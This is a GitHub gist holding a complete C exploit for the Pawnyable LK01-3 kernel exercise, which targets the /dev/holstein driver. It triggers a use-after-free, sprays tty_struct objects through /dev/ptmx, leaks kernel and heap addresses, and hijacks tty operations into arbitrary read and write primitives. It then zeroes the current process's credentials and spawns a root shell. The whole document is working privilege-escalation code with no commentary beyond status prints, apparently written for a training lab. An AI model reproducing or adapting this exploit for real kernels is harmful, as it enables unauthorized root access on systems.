Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Created November 28, 2022 11:08
Show Gist options
  • Save brant-ruan/35c057ccaa66a8c92e452d366dd50ecc to your computer and use it in GitHub Desktop.
Save brant-ruan/35c057ccaa66a8c92e452d366dd50ecc to your computer and use it in GitHub Desktop.
Pawnyable LK01-3
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define SPRAY_NUM 100
#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)
void fatal(char *msg) {
perror(msg);
exit(-1);
}
int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];
int cache_fd_aaw = -1;
int cache_fd_aar = -1;
unsigned int AAR32(unsigned long addr) {
if (cache_fd_aar == -1) {
read(fd4, buf, 0x20);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
write(fd4, buf, 0x20);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
int v = ioctl(spray[i], 0, addr /* rdx */);
if (v != -1) {
cache_fd_aar = spray[i];
return v;
}
}
} else
return ioctl(cache_fd_aar, 0, addr);
}
void AAW32(unsigned long addr, unsigned int val) {
printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
if (cache_fd_aaw == -1) {
read(fd4, buf, 0x20);
*(unsigned long *)&buf[0x18] = g_buf + 0x3f0 - 12 * 8;
write(fd4, buf, 0x20);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
int v = ioctl(spray[i], val, addr /* rdx */);
if (v != -1) {
cache_fd_aaw = spray[i];
break;
}
}
} else
ioctl(cache_fd_aaw, val, addr);
}
int main() {
puts("[*] UAF-1: open fd1, fd2; close fd1");
fd1 = open("/dev/holstein", O_RDWR);
fd2 = open("/dev/holstein", O_RDWR);
close(fd1); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
printf("[*] leaking kernel base and g_buf with tty_struct\n");
read(fd2, buf, 0x400); // read tty_struct
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x38] - 0x38;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
printf("[-] heap spraying failed\n");
for (int i = 0; i < SPRAY_NUM / 2; i++)
close(spray[i]);
exit(-1);
}
*(unsigned long *)&buf[0x3f0] = mov_ptr_rdx_rcx_ret;
*(unsigned long *)&buf[0x3f8] = mov_eax_ptr_rdx_ret;
write(fd2, buf, 0x400);
puts("[*] UAF-2: open fd3, fd4; close fd3");
fd3 = open("/dev/holstein", O_RDWR);
fd4 = open("/dev/holstein", O_RDWR);
close(fd3); // free(g_buf)
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
puts("[*] changing .comm");
if (prctl(PR_SET_NAME, "aptx4869") != 0)
fatal("prctl");
unsigned long addr;
for (addr = g_buf - 0x1000000;; addr += 0x8) {
if ((addr & 0xfffff) == 0)
printf("[*] searching for .comm at 0x%lx\n", addr);
if (AAR32(addr) == 0x78747061 && AAR32(addr + 4) == 0x39363834) {
printf("[+] .comm found at 0x%lx\n", addr);
break;
}
}
unsigned long addr_cred = 0;
addr_cred |= AAR32(addr - 8);
addr_cred |= (unsigned long)AAR32(addr - 4) << 32;
printf("[+] current->cred = 0x%lx\n", addr_cred);
puts("[*] changing cred to root");
for (int i = 1; i < 9; i++)
AAW32(addr_cred + i * 4, 0);
puts("[*] spawning root shell");
system("/bin/sh");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment